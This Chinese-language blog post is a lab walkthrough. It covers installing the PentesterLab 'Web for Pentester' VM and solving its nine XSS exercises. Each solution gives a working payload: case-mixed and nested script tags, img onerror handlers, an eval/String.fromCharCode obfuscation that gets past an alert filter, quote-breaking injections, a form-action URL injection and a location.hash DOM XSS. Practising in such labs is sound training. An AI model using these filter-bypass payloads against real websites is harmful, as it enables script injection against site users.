【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。
下载链接及文档说明:
http://pentesterlab.com/exercises/web_for_pentester/
【安装流程】
1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。
一路向下,创建虚拟系统。
点击启动,选择iso镜像,即可启动。
2. 设置网络。 关掉刚刚开启的系统。
点击设置,选择网络选项。如图所示设置网络
3.启动系统。输入ifconfig
可以看到我们虚拟机的IP地址为http://192.168.56.101/ 不同的系统可能不一样
如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。
所以在主机上打开网络和共享中心,设置IP
根据我的虚拟机IP,我给本机设置的IP如下:
4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/ ,即可通过HTTP访问虚拟机了!!
【XSS部分解析】
xss example1:
完全没有过滤或者编码,各种姿势的玩~
name=<script>alert('bb')</script>
xss example2:
从这里可以看到,过滤掉了<script>标签,我们试试大小写?
name=<Script>alert('bb')</sCript>
嗯,大小写绕过了
xss example3:
和上一张图一样,<script>标签被过滤掉了
先试试 name=la<script>la,输出hello,lala
name=<scri<script>pt>alert('bb')</scri</script>pt>
经测试这个在实例2也是可以用的
xss example4:
先输入最基本的测试name=<script>alert('bb')</script>
竟然输出error了!
换个标签? name=<img>?这次没error。补全补全~
name=<img src="1" onerror="alert('bb')">
成功了~~经测试这个payload在前三个应该也是可以的
xss example5:
先输入name=<img>正常显示
补全name=<img src="1" onerror="alert('bb')"> 输出error
发现alert被过滤掉了- -但是其他的函数还可以用,
比如说name=<img src="1" onerror="confirm('aa')">
查了一下文档,发现可以这样写
name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">
这个世界真神奇
xss example6:
查看元素,发现输出竟然在script标签中。
$a="<img src="1" onerror="alert('bb')">"
输出在script标签中的情况要首先闭合双引号"
name=fdf";alert($a);//
xss example7:
审查元素:
<script>
var $a= 'fdf";alert($a);//';
</script>
发现双引号被HTMLEncode了
- -还发现$a=''这个地方变成了单引号。。。稍微改一下
name=fdf';alert($a);//
成了
xss example8:
呦,终于长进了,变成存储型的了~
随便输出个名字<script>alert('a')</script>
审查元素
HELLO <script>alert('a')</script>
<>被HTMLEncode了。
对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?
经过答案的提醒- -我们发现form表的目标URL是可以被构造的
http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert('1')
在提交的时候,会触发弹窗
xss example9:
- -最后一个你是在逗我么
审查元素
<script>
document.write(location.hash.substring(1));
</script>
随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert('1')</script>
注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf